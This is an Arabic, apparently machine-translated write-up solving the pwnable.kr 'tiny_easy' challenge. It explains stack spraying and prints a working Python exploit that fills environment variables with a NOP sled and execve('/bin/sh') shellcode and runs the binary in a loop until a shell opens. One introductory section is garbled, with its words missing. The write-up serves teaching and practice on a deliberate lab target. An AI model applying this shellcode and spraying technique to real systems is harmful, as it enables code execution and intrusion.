حل المشكلة مع pwnable.kr 27 - tiny_easy. فهم رش المكدس

صورة

في هذه المقالة ، سنحل المهمة السابعة والعشرين من موقع pwnable.kr وسوف نفهم ما هو رش المكدس.

المعلومات التنظيمية
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

حل لهذه المهمة الصغيرة


انقر فوق أيقونة التوقيع tyni_easy. يتم إعطاؤنا العنوان والمنفذ للتوصيل عبر ssh.

صورة

نحن متصلون عبر SSH ونرى العلم والبرنامج بالفعل بدون شفرة المصدر.

صورة

نتيجة لفحص الملف ، اكتشفنا أنه ليس لديه حماية.

صورة

قم بتنزيل البرنامج على أداة التفكيك. الملف صغير جدًا ويتبع بعض التعليمات فقط.

صورة

في البداية ، يستخرج البرنامج القيمة من المكدس إلى سجل EAX ، وبعد ذلك يستخرج قيمة أخرى إلى EDX وينقل التحكم إلى هذا العنوان. ولكن ما الذي يقع على المكدس في بداية البرنامج؟ يحتوي المكدس في تلك اللحظة على نفس الوسيطة (عدد وسائط البرنامج) ، و argv (مؤشر لمجموعة من وسائط البرنامج) و envp (المؤشر لمجموعة من متغيرات البيئة).

صورة

وهكذا ، في EDX ، سيتم وضع العنوان على العنصر الأول من صفيف حجج البرنامج ، أي على المسار الكامل للملف القابل للتنفيذ! لذلك ، في محاولة لتنفيذه كرمز ، يجب أن يتلف التطبيق. إذا تحقق ، ثم اتضح.

صورة

الرش المكدس هو هجوم يستخدم أخطاء في ذاكرة التطبيق ، مما يجبر التطبيق على تخصيص ذاكرة لعدد كبير من الكائنات التي تحتوي على تعليمات برمجية ضارة. هذا يزيد من احتمالية نجاح برمجية إكسبلويت ، التي تنقل تدفق التنفيذ إلى بعض المواقع بالداخل. من المهم أن نفهم أنه بدون ثغرة تسمح لك بتغيير تدفق التنفيذ ، فإن هذا الهجوم لن يسبب أي ضرر. يستند الهجوم إلى إمكانية التنبؤ بالعنوان في مساحة عنوان العملية.

عند إنشاء عملية في نظام التشغيل ، يتم تخصيص مساحة عنوان لاحتياجاتها ، حيث توجد بيانات المستخدم والشفرة القابلة للتنفيذ وبعض معلومات النظام ، والتي تعتمد على نظام التشغيل المحدد. لذلك ، في مقطع المكدس ، يتم تخزين المتغيرات مع فئة مواضع تلقائية ، بالإضافة إلى المعلومات التي يتم تخزينها في كل مرة يتم فيها استدعاء الوظيفة ، على سبيل المثال ، المتغيرات الثابتة وعنوان الإرجاع عند استدعاء الوظيفة. في حالة رش المكدس ، نعمل على متغيرات البيئة التي يقع فيها الاستغلال.

بهذه الطريقة يمكننا ترتيب كود القشرة في متغيرات البيئة على المكدس. لكننا سنقوم بالكثير من عمليات عدم التطرق أمامه ، حيث من غير المحتمل أن نتمكن من الوصول إلى العنوان الصحيح بالضبط.

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


نظرًا لأن البرنامج يبدأ من العنوان 0xff ****** ، فإننا نأخذ العنوان العشوائي للمكدس من هذه البيئة ، على سبيل المثال ، 0xffbbbbbb.
addr = "\xb0\xaf\xb5\xff"


سنقوم الآن بعمل بعض متغيرات البيئة باستخدام كود القشرة لدينا ، بحيث يكون احتمال الوصول إليه أعلى.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

وعدة مرات نقوم بتشغيل البرنامج مع معلماتنا.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

بعد تشغيل الكود الكامل نحصل على صدفة.

صورة

المزيد ... يمكنك الانضمام إلينا على Telegram . دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

Source: https://habr.com/ru/post/undefined/


All Articles